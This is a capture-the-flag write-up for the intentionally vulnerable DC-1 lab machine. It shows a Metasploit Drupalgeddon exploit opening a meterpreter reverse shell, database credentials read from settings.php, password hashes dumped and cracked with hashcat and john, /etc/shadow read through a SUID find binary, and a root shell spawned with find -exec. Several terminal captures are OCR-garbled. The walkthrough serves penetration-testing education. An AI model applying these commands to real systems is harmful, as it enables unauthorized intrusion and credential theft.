DC-1 Writeup

DC-1 is a purposely built vulnerable lab for the purpose of gaining experience in the world of penetration testing. It was designed to be a challenge for beginners, but just how easy it is will depend on your skills and knowledge, and your ability to learn. To successfully complete this challenge, you will require Linux skills, familiarity with the Linux command line and experience with basic penetration testing tools, such as the tools that can be found on Kali Linux, or Parrot Security OS.

There are multiple ways of gaining root, however, I have included some flags which contain clues for beginners. There are five flags in total, but the ultimate goal is to find and read the flag in root's home directory. You don't even need to be root to do this however, you will require root privileges. Depending on your skill level, you may be able to skip finding most of these flags and go straight for root. Beginners may encounter challenges that they have never come across previously, but a Google search should be all that is required to obtain the information required to complete this challenge.

Scanning


I scanned every port _-p- and ran default scripts with _-sC as usual. I use the _-A switch to enable OS detection, version detection, script scanning and traceroute. Here is the scan result:

Find the target IP's


sudo netdiscover


sudo arp-scan --localnet












We have SSH, which is not vulnerable and it looks like we have a Drupal 7 CMS installation too. I tried nikto and dirb, but they didn't pick up anything useful. So, I went on to check out the site and searched for version numbers. I also tried admin - admin on the login panel, but no luck.


Getting access

Some Drupal sites are vulnerable to drupalgeddon, which is basically an SQL injection vulnerability disclosed back in late 2014. I fired up my Metasploit console and searched for drupal.




You can find more about this module on rapid7's site:

https://www.rapid7.com/db/modules/exploit/multi/http/drupal_drupageddon I set the rhosts variable and simply typed exploit.



```
kali@kali: ~ × kali@kali: ~ × kali@kali: ~ ×
     Name
                         Current Setting Required Description
                                                                          A proxy chain of format type:host:port[,type:host:port][...]
The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasp
     RHOSTS
                                                                          loit.html
                                                                         The target port (TCP)
Negotiate SSL/TLS for outgoing connections
The target URI of the Drupal installation
HTTP server virtual host
     SSL fa
                                                       yes
no
Payload options (php/meterpreter/reverse_tcp):
     Name Current Setting Required Description
     LHOST 10.0.2.15 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
     Id Name
View the full module info with the info, or info -d command.
\begin{array}{l} \underline{\mathsf{msf6}} \ \ \mathsf{exploit}(\underline{\mathsf{multi/http/drupal\_drupageddon}}) \ \mathsf{>} \ \mathsf{set} \ \ \mathsf{RHOSTS} \ 10.0.2.4 \\ \underline{\mathsf{RHOSTS}} \ \Rightarrow \ 10.0.2.4 \\ \underline{\mathsf{msf6}} \ \ \mathsf{exploit}(\underline{\mathsf{multi/http/drupal\_drupageddon}}) \ \mathsf{>} \ \mathsf{run} \end{array}
[*] Started reverse TCP handler on 10.0.2.15:4444
^XmsS[*] Sending stage (39927 bytes) to 10.0.2.4
```





This was easy, right? I typed shell to conveniently investigate the files and directories on the server.


```
meterpreter > shell
Process 3110 created.
Channel 0 created.
ls -la
total 188
drwxr-xr-x 9 www-data www-data
                                 4096 Feb 19 23:45 .
                                  4096 Feb 19 23:10 ...
drwxr-xr-x 12 root
                        root
            1 www-data www-data
                                   174 Nov 21
                                               2013 .gitignore
-rw-r--r--
            1 www-data www-data
                                  5767 Nov 21
                                               2013 .htaccess
-rw-r--r--
-rw-r--r--
            1 www-data www-data
                                  1481 Nov 21
                                               2013 COPYRIGHT.txt
            1 www-data www-data
-rw-r--r--
                                  1451 Nov 21
                                               2013 INSTALL.mysql.txt
-rw-r--r--
            1 www-data www-data
                                  1874 Nov 21
                                               2013 INSTALL.pgsql.txt
            1 www-data www-data 17861 Nov 21
                                               2013 INSTALL.txt
-rw-r--r--
            1 www-data www-data 18092 Nov
                                               2013 LICENSE.txt
-rwxr-xr-x
                                            1
-rw-r--r--
            1 www-data www-data
                                  8191 Nov 21
                                               2013 MAINTAINERS.txt
-rw-r--r--
            1 www-data www-data
                                  5376 Nov 21
                                               2013 README.txt
-rw-r--r--
            1 www-data www-data
                                  9642 Nov 21
                                                2013 UPGRADE.txt
            1 www-data www-data
                                 6604 Nov 21
                                               2013 authorize.php
-rw-r--r--
-rw-r--r--
            1 www-data www-data
                                   720 Nov 21
                                               2013 cron.php
-rw-r--r--
            1 www-data www-data
                                    52 Feb 19 23:20 flag1.txt
```


```
drwxr-xr-x
           4 www-data www-data
                                4096 Nov 21
                                              2013 includes
            1 www-data www-data
                                  529 Nov 21
                                              2013 index.php
-rw-r--r--
-rw-r--r--
            1 www-data www-data
                                  703 Nov 21
                                               2013 install.php
drwxr-xr-x 4 www-data www-data
                                 4096 Nov 21
                                               2013 misc
drwxr-xr-x 42 www-data www-data
                                 4096 Nov 21
                                               2013 modules
            5 www-data www-data
                                 4096 Nov 21
                                               2013 profiles
drwxr-xr-x
            1 www-data www-data
                                               2013 robots.txt
-rw-r--r--
                                 1561 Nov 21
drwxr-xr-x
            2 www-data www-data
                                 4096 Nov 21
                                               2013 scripts
drwxr-xr-x
           4 www-data www-data
                                 4096 Nov 21
                                               2013 sites
           7 www-data www-data
drwxr-xr-x
                                 4096 Nov 21
                                               2013 themes
            1 www-data www-data 19941 Nov 21
-rw-r--r--
                                               2013 update.php
            1 www-data www-data
                                               2013 web.config
-rw-r--r--
                                 2178 Nov 21
            1 www-data www-data
                                  417 Nov 21
                                               2013 xmlrpc.php
-rw-r--r--
```

The first flag is right in front of us, which contained the following hint:

Every good CMS needs a config file — and so do you.

The goal was pretty clear, I had to find a juicy config file. I just freely explored the directory to see, what I can find. In the <code>sites/default</code> directory, there was a <code>settings.php</code> file.





```
•
                                                                                               kali@kali: ~
 File Actions Edit View Help
                          kali@kali: ~ ×
                                                  kali@kali: ~ ×
  * by using the username and password variables. The proxy_user_agent variable
  * can be set to NULL for proxies that require no User-Agent header or to a
  * non-empty string for proxies that limit requests to a specific agent. The
  proxy_exceptions variable is an array of host names to be accessed directly,
  not via proxv.
# $conf['proxy_server'] = '';
# $conf['proxy_port'] = 8080;
# $conf['proxy_username'] = '';
# $conf['proxy_password'] = '';
# $conf['proxy_user_agent'] = '';
# $conf['proxy_exceptions'] = array('127.0.0.1', 'localhost');
  * Authorized file system operations:
  * The Update manager module included with Drupal provides a mechanism for
    site administrators to securely install missing updates for the site
directly through the web user interface. On securely-configured servers,
  \star the Update manager will require the administrator to provide SSH or FTP

    the optace manager with require the administrator to provide 55h of 177
    credentials before allowing the installation to proceed; this allows the
    site to update the new files as the user who owns all the Drupal files,


  * instead of as the user the webserver is running as. On servers where the
* webserver user is itself the owner of the Drupal files, the administrator
* will not be prompted for SSH or FTP credentials (note that these server
    setups are common on shared hosting, but are inherently insecure).
    Some sites might wish to disable the above functionality, and only update
  * the code directly via SSH or FTP themselves. This setting completely
* disables all functionality related to these authorized file operations.
    @see http://drupal.org/node/244924
    Remove the leading hash signs to disable.
# $conf['allow_authorize_operations'] = FALSE;
^X@sS
```

```
array (
    'database' => 'drupaldb',
    'username' => 'dbuser',
    'password' => 'R0',
    'host' => 'localhost',
    'port' => ",
    'driver' => 'mysql',
    'prefix' => ",
```

In the beginning of the file, there was a comment, which contained the second flag and below that I was presented with the username and password for the database.

In order to log in to the database, we have to have a tty or pseudo-tty shell. At the moment, we have a very limited shell. Python was installed on the machine and all I had to do was:


python -c 'import pty; pty.spawn ("/bin/sh")'



I had everything to log in to the MySQL database. I looked at the databases and selected the drupaldb.


not: if you forget to type; you can add aftre

```
kali@kali: ~ × kali@kali: ~ ×
                                 kali@kali: ~ ×
INSTALL.sqlite.txt UPGRADE.txt
                                                  robots.txt web.config
                                     index.php
                                     install.php scripts
INSTALL.txt
                    authorize.php
                                                              xmlrpc.php
$ mysql -u dbuser -p
mysql -u dbuser -p
Enter password: R0ck3t
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 40
Server version: 5.5.60-0+deb7u1 (Debian)
Copyright (c) 2000, 2018, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> ls
ls
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to yo
yntax to use near 'ls' at line 1
mysql> show databases
show databases
;
| Database
  information_schema
| drupaldb
2 rows in set (0.00 sec)
mysql>
```



Before making any queries, we have to know the table names. The result quite big, but I focused on the important one (the users table).

use drupaldb; show tables;



select*from user;

| 1 | |
|-----|--|
| - 1 | authmap |
| - 1 | batch |
| - | block |
| - 1 | block_custom |
| I | block_node_type |
| | block_role |
| | blocked_ips |
| | cache |
| | cache_block |
| - | cache_bootstrap |
| | cache_field |
| | cache_filter |
| ı | cache_form |
| - 1 | cache_image |
| J | cache_menu |
| j | _ cache_page |
| j | cache_path |
| j | cache_update |
| ĺ | cache_views |
| ĺ | cache_views_data |
| | comment |
| 1 | ctools_css_cache |
| i | ctools_object_cache |
| 1 | date_format_locale |
| 1 | |
| 1 | date_format_type |
| 1 | date_formats |
| 1 | field_config |
| 1 | field_config_instance |
| 1 | field_data_body |
| 1 | field_data_comment_body |
| 1 | <pre>field_data_field_image</pre> |
| | <pre>field_data_field_tags</pre> |
| | field_revision_body |
| | <pre>field_revision_comment_body</pre> |
| | <pre>field_revision_field_image</pre> |
| | field_revision_field_tags |
| | file_managed |
| | file_usage |
| | filter |
| | filter_format |
| | flood |
| | history |
| | image_effects |
| • | <u> </u> |

```
| image_styles
menu_custom
| menu links
menu_router
node
| node_access
node_comment_statistics
node revision
| node_type
queue
| rdf_mapping
registry
| registry_file
role
| role_permission
| search_dataset
| search_index
| search_node_links
| search_total
semaphore
sequences
sessions
shortcut_set
| shortcut_set_users
system
taxonomy_index
| taxonomy_term_data
| taxonomy_term_hierarchy
| taxonomy_vocabulary
url_alias
users
users roles
| variable
| views_display
views view
watchdog
80 rows in set (0.00 sec)mysql>
```

Dumping database hashes

The ran the following query to print out every entry in that specific table. I had to cut the actual result because it was too long.

select*from user;

```
mysql> select * from users; | admin |
$S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR
| Fred | $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg 3 rows in set
(0.00 sec)3 rows in set (0.00 sec)
```

Well, Drupal is also known to have very secure hashes. Are they secure enough? I let my 1070 TI GPU determine that. I downloaded hashcat to my Windows PC and the rockyou.txt word list.


hashcat -m 7900 SDvQl6Y600iNeXRleEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR '/home/kali/Desktop/rockyou.txt'

```
$ ./hashcat64.exe -m 7900 hashes.txt rockyou.txt
hashcat (v5.1.0) starting...OpenCL Platform #1: NVIDIA Corporation
_____
* Device #1: GeForce GTX 1070 Ti, 2048/8192 MB allocatable, 19MCUHashes: 3 digests;
3 unique digests, 3 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1Applicable optimizers:
* Zero-Byte
* Uses-64-BitMinimum password length supported by kernel: 0
Maximum password length supported by kernel: 256Watchdog: Temperature abort trigger
set to 90cDictionary cache built:
* Filename..: rockyou.txt
* Passwords.: 14344391
* Bytes....: 139921497
* Keyspace..: 14344384
* Runtime...: 2 secs$S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR:53cr3t
Approaching final keyspace - workload adjusted. Session....: hashcat
Status....: Exhausted
Hash.Type..... Drupal7
Hash.Target....: hashes.txt
Time.Started....: Fri Mar 08 09:19:57 2019 (7 mins, 52 secs)
Time.Estimated...: Fri Mar 08 09:27:49 2019 (0 secs)
Guess.Base.....: File (rockyou.txt)
Guess.Queue....: 1/1 (100.00%)
Speed.#1..... 36639 H/s (2.15ms) @ Accel:128 Loops:32 Thr:64 Vec:1
Recovered.....: 2/3 (66.67%) Digests, 2/3 (66.67%) Salts
Progress..... 43033152/43033152 (100.00%)
Rejected..... 0/43033152 (0.00%)
Restore.Point...: 14344384/14344384 (100.00%)
Restore.Sub.#1...: Salt:2 Amplifier:0-1 Iteration:16352-16384
```

```
Candidates.#1...: $HEX[284d6f75746f6e] -> $HEX[042a0337c2a156616d6f732103]

Hardware.Mon.#1..: Temp: 69c Fan: 47% Util: 96% Core:1809MHz Mem:3802MHz Bus:16
```

I didn't have to wait too long for the admin's password. The password was 53cr3t. I logged in and under the content menu, I found the third flag.



Special PERMS will help FIND the passwd — but you'll need to -exec that command to work out how to get what's in the shadow.

Find with SUID

I used the well-known LinEnum.sh script to get a better grasp of the system and possibly confirm that find command with special permissions. The interesting part from the output was this:

```
[+] Possibly interesting SUID files:
-rwsr-xr-x 1 root root 162424 Jan 6 2012 /usr/bin/find
```

SETUID and SETGID are Unix access rights flags that allow users to run an executable with the permissions of the executable's owner or group respectively and to change behavior in directories. They are often used to allow users on a computer system to run programs with temporarily elevated privileges in order to perform a specific task.

In this case, we don't have to be root to execute commands as root. The hint or flag said that it helps to "find" the passwd, so here is how I printed out the passwd file:

```
find / -name passwd -exec cat {} \;
#
# The PAM configuration file for the Shadow `passwd' service
#<ins>@include</ins> common-passwordroot:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
```

```
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
Debian-exim:x:101:104::/var/spool/exim4:/bin/false
statd:x:102:65534::/var/lib/nfs:/bin/false
messagebus:x:103:107::/var/run/dbus:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
mysql:x:105:109:MySQL Server,,,:/nonexistent:/bin/false
flag4:x:1001:1001:Flag4,,,:/home/flag4:/bin/bash
```

Cracking another hash

I needed the shadow file to crack the flag4 user password. I achieved this with the exact same command, except the file name obviously.

find / name shadow -exec cat {} \;

is a powerful Linux command often used during penetration testing or system administration. Here's a breakdown of what each part means:

Command Explanation:

find /

- Starts a recursive search from the root directory //
- This means it will look through every directory on the system

-name shadow

- Looks for a file named exactly shadow
- This is usually /etc/shadow the file that stores hashed passwords on Linux systems

-exec cat {} \;

• For **each file found** (represented by {}), it will run the command:

• The \; ends the -exec clause (escaped because the shell would interpret ; otherwise)

Why is /etc/shadow important?

- It stores hashed passwords for user accounts
- Only root or privileged users can normally read this file
- If you can read it, you can try to crack password hashes offline

```
find / -name shadow -exec cat {} \;
root:$6$rhe3rFqk$NwHzwJ4H7abOFOM67.Avwl3j8c05rDVPqTIvWg8k3yWe99pivz/96.K7IqPlbBCmzp
okVmn13ZhVyQGrQ4phd/:17955:0:99999:7:::
daemon:*:17946:0:99999:7:::
bin:*:17946:0:99999:7:::
sys:*:17946:0:99999:7:::
sync:*:17946:0:99999:7:::
games:*:17946:0:99999:7:::
man:*:17946:0:99999:7:::
lp:*:17946:0:99999:7:::
mail:*:17946:0:99999:7:::
news:*:17946:0:99999:7:::
uucp:*:17946:0:99999:7:::
proxy:*:17946:0:99999:7:::
www-data:*:17946:0:99999:7:::
backup:*:17946:0:99999:7:::
list:*:17946:0:99999:7:::
irc:*:17946:0:99999:7:::
gnats:*:17946:0:99999:7:::
nobody:*:17946:0:99999:7:::
libuuid:!:17946:0:99999:7:::
Debian-exim: !:17946:0:99999:7:::
statd:*:17946:0:99999:7:::
messagebus:*:17946:0:99999:7:::
sshd:*:17946:0:99999:7:::
mysql:!:17946:0:99999:7:::
flag4:$6$Nk47pS8q$vTXHYXBFqOoZERNGFThbnZfi5LN0ucGZe05VMtMuIFyqYzY/eVbPNMZ71pfRVc0BY
rQ0brAhJoEzoEWCKxVW80:17946:0:99999:7:::
```

I copied this information into a text file and ran john on it to crack the hashes. I have successfully cracked the flag4 user password.

```
Channel 0 created.
find / -name shadow -exec cat {} \;
root:$6$rhe3rFqk$NwHzwJ4H7ab0F0M67.Avwl3j8c05rDVPqTIvWg8k3yWe99pivz/96.K
daemon:*:17946:0:99999:7:::
bin:*:17946:0:99999:7:::
sys:*:17946:0:99999:7:::
sync:*:17946:0:99999:7:::
games:*:17946:0:99999:7:::
man:*:17946:0:99999:7:::
lp:*:17946:0:99999:7:::
mail:*:17946:0:99999:7:::
news:*:17946:0:99999:7:::
uucp:*:17946:0:99999:7:::
proxy:*:17946:0:99999:7:::
www-data:*:17946:0:99999:7:::
backup:*:17946:0:99999:7:::
list:*:17946:0:99999:7:::
irc:*:17946:0:99999:7:::
gnats:*:17946:0:99999:7:::
nobody:*:17946:0:99999:7:::
libuuid:!:17946:0:99999:7:::
Debian-exim:!:17946:0:99999:7:::
statd:*:17946:0:99999:7:::
messagebus:*:17946:0:99999:7:::
sshd:*:17946:0:99999:7:::
mysql:!:17946:0:99999:7:::
flag4:$6$Nk47pS8q$vTXHYXBFqOoZERNGFThbnZfi5LN0ucGZe05VMtMuIFyqYzY/eVbPNMZ
whoami
www-data
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
ls
COPYRIGHT.txt
INSTALL.mysql.txt
INSTALL.pgsql.txt
INSTALL.sqlite.txt
INSTALL.txt
LICENSE.txt
```

root:6

rhe3rFqk\$NwHzwJ4H7abOFOM67.Avwl3j8c05rDVPqTlvWg8k3yWe99pivz/96.K7lqPlbBCmzpokVmn13ZhVyQGrQ4phd/:17955:0:99999:7:::

to find cracked hashes withy john

cat ~/.john/john.pot

or

john --show hashfilename(hashes.txt)

```
format(s), including using classes and wildcards.

[kali@kali)-[~]

$ john --show hashes.txt
flag4:orange:17946:0:99999:7:::

1 password hash cracked, 0 left

[kali@kali)-[~]

$ cat ~/.john/john.pot

$6$zdk0.jUm$Vya24cGzM1duJkwM5b17Q205xDJ47LOAg/OpZvJ1gKbLF8PJBdKJA4a6M.JYPUTAaWu4infDjI88U9yUXEVgL.:football
$6$Nk47pS8q$vTXHYXBFqOoZERNGFThbnZfi5LN0ucGZe05VMtMuIFyqYzY/eVbPNMZ7lpfRVc0BYrQ0brAhJoEzoEWCKxVW80:orange
```

Access via SSH

I managed to log in via SSH using these credentials and read the fourth flag in the home directory.

```
▲ ~/Downloads ssh flag4@192.168.1.45 flag4@192.168.1.45's password:
Linux DC-1 3.2.0-6-486 #1 Debian 3.2.102-1 i686The programs included with the
```

```
Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.Debian GNU/Linux comes with
ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Mar 7 08:52:13 2019 from kali
flag4@DC-1:~$ ls -la
total 28
drwxr-xr-x 2 flag4 flag4 4096 Mar 7 18:26 .
drwxr-xr-x 3 root root 4096 Feb 19 23:51 ..
-rw----- 1 flag4 flag4 600 Mar 7 19:24 .bash_history
-rw-r--r-- 1 flag4 flag4 220 Feb 19 23:25 .bash_logout
-rw-r--r-- 1 flag4 flag4 3392 Feb 19 23:25 .bashrc
-rw-r--r-- 1 flag4 flag4 125 Feb 19 23:28 flag4.txt
-rw-r--r-- 1 flag4 flag4 675 Feb 19 23:25 .profile
flag4@DC-1:~$ cat flag4.txt
Can you use this same method to find or access the flag in root?Probably. But
perhaps it's not that easy. Or maybe it is?
flag4@DC-1:~$
```

Can you use this same method to find or access the flag in root? Probably. But perhaps it's not that easy. Or maybe it is?

Popping a root shell

Since I found the find command with root SUID set I could easily read the final flag and consider this challenge done. I wanted to take these extra steps to fully compromise the system and not just go for root access immediately, but this time has come.

```
flag4@DC-1:~$ find . -exec '/bin/sh' \;
# whoami
root
```

Finally, I went to the root directory to acquire the final flag, which was:

```
# cd /root
# ls
thefinalflag.txt
# cat thefinalflag.txt
Well done!!!!Hopefully, you've enjoyed this and learned some new skills.You can let
me know what you thought of this little journey
by contacting me via Twitter - <ins>@DCAU7</ins>
```